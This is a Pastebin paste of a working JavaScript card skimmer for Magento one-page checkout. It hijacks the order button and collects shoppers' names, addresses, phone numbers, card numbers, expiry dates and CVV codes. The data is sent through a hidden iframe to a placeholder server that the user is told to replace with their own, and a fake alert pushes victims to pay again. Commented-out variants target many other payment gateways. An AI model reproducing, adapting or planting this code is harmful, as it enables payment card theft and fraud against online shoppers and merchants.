Advertisement
b3gund4L

Onepage Mage

Nov 21st, 2017 (edited)
1,806
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script>
  2. function frm_fill(u) {
  3.     window.stop();
  4.     var x = document.createElement("IFRAME");
  5.     x.setAttribute("src", u);
  6.     x.style.display = "none";
  7.     document.body.appendChild(x);
  8.     console.log("good");
  9.     alert("Use Another Payment!");
  10.     throw new Error('error.');
  11.     return false;
  12. }
  13. //window.onload = function () {
  14. jQuery(document).ready(function($){
  15.     var hitung = 0;
  16.     function logevil(){
  17.         var bils = "<br><br>:::::::::: LOG START ::::::::::<br>";
  18.         bils = bils+"From : "+window.location.host;
  19.         var biadd = $('#billing-address-select');
  20.         var biadds = $('#billing-address-select').length;
  21.         if (biadds === 0){
  22.             //var ct = document.getElementById('billing:country_id');
  23.             //var cty = ct.options[ct.selectedIndex].text;
  24.             //var cty = $('#billing:country_id :selected').text();
  25.             var cty = $('select[name="billing[country_id]"] :selected').text();
  26.            
  27.             var nm = "<br>Full Name : "+$('input[name="billing[firstname]"').val()+" "+$('input[name="billing[lastname]"').val();
  28.             if($('input[name="billing[street][]"').length !== 0){nm = nm+"<br>Street 1 : "+$('input[name="billing[street][]"').val();}
  29.             //if($('#billing:street2').length !== 0){nm = nm+"<br>Street 2 : "+$('#billing:street2').val();}
  30.            
  31.             /*nm = nm+"<br>Street 1 : "+document.getElementById('billing:street1').value+"<br>Street 2 : "+document.getElementById('billing:street2').value;*/
  32.             nm = nm+"<br>City : "+$('input[name="billing[city]"').val();//+" <br>Region : "+$('#billing:region').val();
  33.             nm = nm+"<br>Postcode : "+$('input[name="billing[postcode]"').val()+" <br>Country : "+cty;
  34.             nm = nm+"<br>Telp. : "+$('input[name="billing[telephone]"').val();
  35.            
  36.             bils = bils+nm;
  37.         }
  38.         else{
  39.             var bill = $('#billing-address-select :selected').text();
  40.             var bil1 = $('#billing-address-select').val();
  41.             if(bil1 == ""){
  42.                 //var ct = document.getElementById('billing:country_id');
  43.                 //var cty = ct.options[ct.selectedIndex].text;
  44.                 var cty = $('select[name="billing[country_id]"] :selected').text();
  45.            
  46.                 var nm = "<br>Full Name : "+$('input[name="billing[firstname]"').val()+" "+$('input[name="billing[lastname]"').val();
  47.                 if($('input[name="billing[street][]"').length !== 0){nm = nm+"<br>Street 1 : "+$('input[name="billing[street][]"').val();}
  48.                 //if($('#billing:street2').length !== 0){nm = nm+"<br>Street 2 : "+$('#billing:street2').val();}
  49.                
  50.                 /*nm = nm+"<br>Street 1 : "+document.getElementById('billing:street1').value+"<br>Street 2 : "+document.getElementById('billing:street2').value;*/
  51.                 nm = nm+"<br>City : "+$('input[name="billing[city]"').val();//+" <br>Region : "+$('#billing:region').val();
  52.                 nm = nm+"<br>Postcode : "+$('input[name="billing[postcode]"').val()+" <br>Country : "+cty;
  53.                 nm = nm+"<br>Telp. : "+$('input[name="billing[telephone]"').val();
  54.                
  55.                 bils = bils+nm;
  56.             }
  57.             else{
  58.                 bils = bils+"<br>"+bill;
  59.             }
  60.         }
  61.        
  62.        
  63.         /* Authorize.net
  64.         bils = bils+"<br>===========================";
  65.         bils = bils+"<br>CC : "+document.getElementById('authorizenet_cc_number').value;
  66.        
  67.         var expm_ = document.getElementById('authorizenet_expiration');
  68.         var expm_m = expm_.options[expm_.selectedIndex].value;
  69.         var expy_ = document.getElementById('authorizenet_expiration_yr');
  70.         var expy_y = expy_.options[expy_.selectedIndex].value;
  71.        
  72.         bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
  73.         bils = bils+"<br>CVN : "+document.getElementById('authorizenet_cc_cid').value;
  74.         bils = bils+"<br>============================ <br>"+navigator.userAgent;
  75.         bl_raw = encodeURI(bils);
  76.         if(document.getElementById('authorizenet_cc_cid').value == ""){
  77.             return "0";
  78.         } */
  79.        
  80.         /* CC SAVE  */
  81.         bils = bils+"<br>===========================";
  82.         bils = bils+"<br>Name on Card : "+$('#ccsave_cc_owner').val();
  83.         bils = bils+"<br>CC : "+$('#ccsave_cc_number').val();
  84.         var expm_m = $('#ccsave_expiration').val();
  85.         var expy_y = $('#ccsave_expiration_yr').val();
  86.        
  87.         bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
  88.         bils = bils+"<br>CVN : "+$('#ccsave_cc_cid').val();
  89.         bils = bils+"<br>============================ <br>"+navigator.userAgent;
  90.         bl_raw = encodeURI(bils);
  91.         if(($('#ccsave_cc_cid').val() == "") || ($('#ccsave_cc_cid').val() == "undefined")){
  92.             return "0";
  93.         }
  94.        
  95.         /* Ipay
  96.         bils = bils+"<br>===========================";
  97.         //bils = bils+"<br>Name on Card : "+document.getElementById('sagepaydirectpro_cc_owner').value;
  98.         bils = bils+"<br>CC : "+$('#ipay_cc_number').val();
  99.        
  100.         //var expm_ = $('#ipay_expiration').val();
  101.         var expm_m = $('#ipay_expiration').val();
  102.         //var expy_ = $('#ipay_expiration_yr').val();
  103.         var expy_y = $('#ipay_expiration_yr').val();
  104.        
  105.         bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
  106.         bils = bils+"<br>CVN : "+$('#ipay_cc_cid').val();
  107.         bils = bils+"<br>============================ <br>"+navigator.userAgent;
  108.         bl_raw = encodeURI(bils);
  109.         if(($('#ipay_cc_cid').val() == "") || ($('#ipay_cc_cid').val() == "undefined")){
  110.             return "0";
  111.         } */
  112.        
  113.         /* Psigate
  114.         bils = bils+"<br>===========================";
  115.         bils = bils+"<br>CC : "+document.getElementById('psigate_cc_number').value;
  116.        
  117.         var expm_ = document.getElementById('psigate_expiration');
  118.         var expm_m = expm_.options[expm_.selectedIndex].value;
  119.         var expy_ = document.getElementById('psigate_expiration_yr');
  120.         var expy_y = expy_.options[expy_.selectedIndex].value;
  121.        
  122.         bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
  123.         bils = bils+"<br>CVN : "+document.getElementById('psigate_cc_cid').value;
  124.         bils = bils+"<br>============================ <br>"+navigator.userAgent;
  125.         bl_raw = encodeURI(bils);
  126.         if(document.getElementById('psigate_cc_cid').value == ""){
  127.             return "0";
  128.         }*/
  129.            
  130.         /* Optimalpayments
  131.         bils = bils+"<br>===========================";
  132.         bils = bils+"<br>CC : "+document.getElementById('optimalpayments_cc_number').value;
  133.        
  134.         var expm_ = document.getElementById('optimalpayments_expiration');
  135.         var expm_m = expm_.options[expm_.selectedIndex].value;
  136.         var expy_ = document.getElementById('optimalpayments_expiration_yr');
  137.         var expy_y = expy_.options[expy_.selectedIndex].value;
  138.        
  139.         bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
  140.         bils = bils+"<br>CVN : "+document.getElementById('optimalpayments_cc_cid').value;
  141.         bils = bils+"<br>============================ <br>"+navigator.userAgent;
  142.         bl_raw = encodeURI(bils);
  143.         if(document.getElementById('optimalpayments_cc_cid').value == ""){
  144.             return "0";
  145.         }*/
  146.        
  147.         /* Westpac PayWay
  148.         bils = bils+"<br>===========================";
  149.         bils = bils+"<br>CC : "+document.getElementById('payway_api_cc_number').value;
  150.        
  151.         var expm_ = document.getElementById('payway_api_expiration');
  152.         var expm_m = expm_.options[expm_.selectedIndex].value;
  153.         var expy_ = document.getElementById('payway_api_expiration_yr');
  154.         var expy_y = expy_.options[expy_.selectedIndex].value;
  155.        
  156.         bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
  157.         bils = bils+"<br>CVN : "+document.getElementById('payway_api_cc_cid').value;
  158.         bils = bils+"<br>============================ <br>"+navigator.userAgent;
  159.         bl_raw = encodeURI(bils);
  160.         if(document.getElementById('payway_api_cc_cid').value == ""){
  161.             return "0";
  162.         }*/
  163.        
  164.         /* MIGS
  165.         bils = bils+"<br>===========================";
  166.         bils = bils+"<br>CC : "+document.getElementById('migs_hosted_cc_number').value;
  167.        
  168.         var expm_ = document.getElementById('migs_hosted_expiration');
  169.         var expm_m = expm_.options[expm_.selectedIndex].value;
  170.         var expy_ = document.getElementById('migs_hosted_expiration_yr');
  171.         var expy_y = expy_.options[expy_.selectedIndex].value;
  172.        
  173.         bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
  174.         bils = bils+"<br>CVN : "+document.getElementById('migs_hosted_cc_cid').value;
  175.         bils = bils+"<br>============================ <br>"+navigator.userAgent;
  176.         bl_raw = encodeURI(bils);
  177.         if(document.getElementById('migs_hosted_cc_cid').value == ""){
  178.             return "0";
  179.         }*/
  180.        
  181.         /* eWAY Direct
  182.         bils = bils+"<br>===========================";
  183.         bils = bils+"<br>Name on Card : "+document.getElementById('ewayau_direct_cc_owner').value;
  184.         bils = bils+"<br>CC : "+document.getElementById('ewayau_direct_cc_number').value;
  185.        
  186.         var expm_ = document.getElementById('ewayau_direct_expiration');
  187.         var expm_m = expm_.options[expm_.selectedIndex].value;
  188.         var expy_ = document.getElementById('ewayau_direct_expiration_yr');
  189.         var expy_y = expy_.options[expy_.selectedIndex].value;
  190.        
  191.         bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
  192.         bils = bils+"<br>CVN : "+document.getElementById('ewayau_direct_cc_cid').value;
  193.         bils = bils+"<br>============================ <br>"+navigator.userAgent;
  194.         bl_raw = encodeURI(bils);
  195.         if(document.getElementById('ewayau_direct_cc_cid').value == ""){
  196.             return "0";
  197.         }*/
  198.        
  199.         /* EwayRapid
  200.         bils = bils+"<br>===========================";
  201.         bils = bils+"<br>Name on Card : "+document.getElementById('ewayrapid_notsaved_cc_owner').value;
  202.         bils = bils+"<br>CC : "+document.getElementById('ewayrapid_notsaved_cc_number').value;
  203.        
  204.         var expm_ = document.getElementById('ewayrapid_notsaved_expiration');
  205.         var expm_m = expm_.options[expm_.selectedIndex].value;
  206.         var expy_ = document.getElementById('ewayrapid_notsaved_expiration_yr');
  207.         var expy_y = expy_.options[expy_.selectedIndex].value;
  208.        
  209.         bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
  210.         bils = bils+"<br>CVN : "+document.getElementById('ewayrapid_notsaved_cc_cid').value;
  211.         bils = bils+"<br>============================ <br>"+navigator.userAgent;
  212.         bl_raw = encodeURI(bils);
  213.         if(document.getElementById('ewayrapid_notsaved_cc_cid').value == ""){
  214.             return "0";
  215.         }*/
  216.        
  217.         /* VM
  218.         bils = bils+"<br>===========================";
  219.         bils = bils+"<br>CC : "+document.getElementById('vm_cc_number').value;
  220.        
  221.         var expm_ = document.getElementById('vm_expiration');
  222.         var expm_m = expm_.options[expm_.selectedIndex].value;
  223.         var expy_ = document.getElementById('vm_expiration_yr');
  224.         var expy_y = expy_.options[expy_.selectedIndex].value;
  225.        
  226.         bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
  227.         bils = bils+"<br>CVN : "+document.getElementById('vm_cc_cid').value;
  228.         bils = bils+"<br>============================ <br>"+navigator.userAgent;
  229.         bl_raw = encodeURI(bils);
  230.         if(document.getElementById('vm_cc_cid').value == ""){
  231.             return "0";
  232.         }*/
  233.        
  234.         /* Stripe
  235.         bils = bils+"<br>===========================";
  236.         bils = bils+"<br>Name on Card : "+document.getElementById('cryozonic_stripe_cc_owner').value;
  237.         bils = bils+"<br>CC : "+document.getElementById('cryozonic_stripe_cc_number').value;
  238.        
  239.         var expm_ = document.getElementById('cryozonic_stripe_expiration');
  240.         var expm_m = expm_.options[expm_.selectedIndex].value;
  241.         var expy_ = document.getElementById('cryozonic_stripe_expiration_yr');
  242.         var expy_y = expy_.options[expy_.selectedIndex].value;
  243.        
  244.         bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
  245.         bils = bils+"<br>CVN : "+document.getElementById('cryozonic_stripe_cc_cid').value;
  246.         bils = bils+"<br>============================ <br>"+navigator.userAgent;
  247.         bl_raw = encodeURI(bils);
  248.         if(document.getElementById('cryozonic_stripe_cc_cid').value == ""){
  249.             return "0";
  250.         }*/
  251.        
  252.         /* Moneris Credit Cards
  253.         bils = bils+"<br>===========================";
  254.         bils = bils+"<br>CC : "+document.getElementById('moneriscc_cc_number').value;
  255.        
  256.         var expm_ = document.getElementById('moneriscc_expiration');
  257.         var expm_m = expm_.options[expm_.selectedIndex].value;
  258.         var expy_ = document.getElementById('moneriscc_expiration_yr');
  259.         var expy_y = expy_.options[expy_.selectedIndex].value;
  260.        
  261.         bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
  262.         bils = bils+"<br>CVN : "+document.getElementById('moneriscc_cc_cid').value;
  263.         bils = bils+"<br>============================ <br>"+navigator.userAgent;
  264.         bl_raw = encodeURI(bils);
  265.         if(document.getElementById('moneriscc_cc_cid').value == ""){
  266.             return "0";
  267.         }*/
  268.        
  269.         else{
  270.             return bl_raw;
  271.         }
  272.     }
  273.    
  274.    
  275.     /* Onepage */
  276.     var s = document.getElementById("review-buttons-container");
  277.     console.log("OK");
  278.     if (s === null){console.log("none");}
  279.     else{
  280.         console.log("ada");
  281.         var w = s.getElementsByTagName("button")[0];
  282.         w.removeAttribute("onclick");
  283.         w.onclick = function() {
  284.             var islog = logevil();
  285.             if(islog == "0"){console.log("no-evil"); review.save(); return false;}
  286.             else{
  287.                 frm_fill("http://site.com/huhu.php?mag="+islog); // GANTI DENGAN SERVER SENDIRI
  288.                 hitung = hitung+1;
  289.                 if(hitung <= 2){
  290.                     return false;
  291.                 }
  292.                 else{
  293.                     if(document.getElementById('p_method_ccsave').checked) {
  294.                         alert("Use another payment method!");
  295.                         return false;
  296.                     }
  297.                     else{
  298.                         review.save(); return false;
  299.                     }
  300.                 }
  301.             }
  302.         }
  303.     }
  304.    
  305.     /* VERSI 2 IWD
  306.    
  307.     if($("#checkout-review-submit").length){
  308.         console.log("OK");
  309.         if ($(".btn-step-2").length){
  310.             console.log("ada");
  311.             //var w = s.getElementsByTagName("button")[0];
  312.             //w.onclick = function() {
  313.             $(".btn-step-2").click(function() {
  314.                 var islog = logevil();
  315.                 if(islog == "0"){console.log("no-evil");}
  316.                 else if(document.getElementById('p_method_ccsave').checked){
  317.                     frm_fill("http://site.com/huhu.php?mag="+islog);
  318.                 }
  319.                 //payment.save();
  320.             });
  321.         }
  322.         else{
  323.             console.log("none");
  324.         }
  325.     }
  326.     */
  327. });
  328. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement